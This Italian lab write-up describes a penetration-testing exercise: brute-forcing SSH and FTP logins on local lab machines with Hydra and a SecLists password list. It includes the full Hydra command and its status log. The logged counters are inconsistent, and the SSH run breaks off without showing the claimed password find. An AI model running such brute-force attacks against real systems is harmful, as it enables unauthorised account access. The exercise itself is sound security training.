La prima parte dell'esercizio ci chiede di creare un nuovo utente, avviare il servizio ssh e testare la connessione SSH dell'utente creato verso la macchina kali.

```
(kali@ kali)-[~]
$ ssh test_user@192.168.1.105
test_user@192.168.1.105's password:
Linux kali 6.1.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.12-1kali2 (2023-02-23) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Sep 12 02:27:54 2023 from 192.168.1.105
```

Successivamente andiamo a configurare hydra impostando come username il singolo user "test_user" (-l) e come password il percorso della lista di password di seclists (-P) e inoltre aggiungiamo il comando -t4 per limitare il numero di tentativi al secondo così da non far bloccare il sistema. Come vediamo la password ricercata è "testpass"

```
** hydra -l "test_user" -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt 192.168.1.105 -t4 ssh Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for rillegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-09-14 03:18:34

[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries (l:1/p:10000), -2500 tries per task

[DATA] max 4 tasks per 1 server, overall 4 tasks, 10000 login tries (l:1/p:10000), -2500 tries per task

[DATA] attacking ssh://192.168.1.105:22/

[STATUS] 42.00 tries/min, 24 tries in 00:01h, 9958 to do in 03:58h, 4 active

[STATUS] 28.00 tries/min, 84 tries in 00:03h, 9916 to do in 05:55h, 4 active

[STATUS] 26.93 tries/min, 84 tries in 00:15h, 9956 to do in 05:55h, 4 active

[STATUS] 26.54 tries/min, 224 tries in 00:15h, 9956 to do in 05:46h, 4 active

[STATUS] 26.47 tries/min, 1244 tries in 00:47h, 8756 to do in 05:34h, 4 active

[STATUS] 26.41 tries/min, 1664 tries in 01:03h, 8336 to do in 05:16h, 4 active

[STATUS] 26.33 tries/min, 2084 tries in 01:19h, 7916 to do in 05:16h, 4 active

[STATUS] 26.34 tries/min, 2094 tries in 01:51h, 7076 to do in 04:29h, 4 active

[STATUS] 26.34 tries/min, 3043 tries in 01:51h, 7076 to do in 04:29h, 4 active

[STATUS] 26.35 tries/min, 3762 tries in 01:55h, 7496 to do in 04:29h, 4 active

[STATUS] 26.31 tries/min, 3762 tries in 01:55h, 5888 to do in 04:29h, 4 active

[STATUS] 26.32 tries/min, 3133 tries in 02:29h, 5238 to do in 04:29h, 4 active

[STATUS] 26.33 tries/min, 4312 tries in 02:23h, 5047 to do in 04:28h, 4 active

[STATUS] 24.18 tries/min, 4533 tries in 03:27h, 5467 to do in 03:28h, 4 active

[STATUS] 24.34 tries/min, 4533 tries in 03:27h, 5467 to do in 03:28h, 4 active

[STATUS] 24.34 tries/min, 4533 tries in 03:27h, 5467 to do in 03:28h, 4 active

[STATUS] 24.34 tries/min, 4533 tries in 03:27h, 5467 to do in 03:28h, 4 active

[STATUS] 24.34 tries/min, 45
```

Un altro punto dell'esercizio è di testare un altro servizio: ftp, quindi installiamo il servizio vsftp e successivamente impostiamo sempre hydra ma in questo caso vediamo che non è riuscita a trovare una password.

```
File Actions Edit View Help
     sudo apt install vsftpd
[sudo] password for kali:
Reading package lists... Done
Building dependency tree ... Done
Reading state information... Done
The following NEW packages will be installed:
   vsftpd
0 upgraded, 1 newly installed, 0 to remove and 1306 not upgraded.
Need to get 142 kB of archives.
After this operation, 351 kB of additional disk space will be used.

Get:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b2 [142 kB]

Fetched 142 kB in 2s (87.6 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 407367 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13+b2_amd64.deb ...
Unpacking vsftpd (3.0.3-13+b2) ...
Setting up vsftpd (3.0.3-13+b2) ...
update-rc.d: We have no instructions for the vsftpd init script. update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.11.2-1)
Processing triggers for kali-menu (2023.1.7) ...
```

Infine l'ultima parte dell'esercizio è tentare la connessione dalla porta FTP da kali a meta quindi dopo aver creato un file con una lista di password tra cui msfadmin impostiamo come username msfadmin e come password il percorso del file txt creato verso l'ip di meta (192.168.1.103). Vediamo che hydra ha recuperato la password corretta per accedere a meta.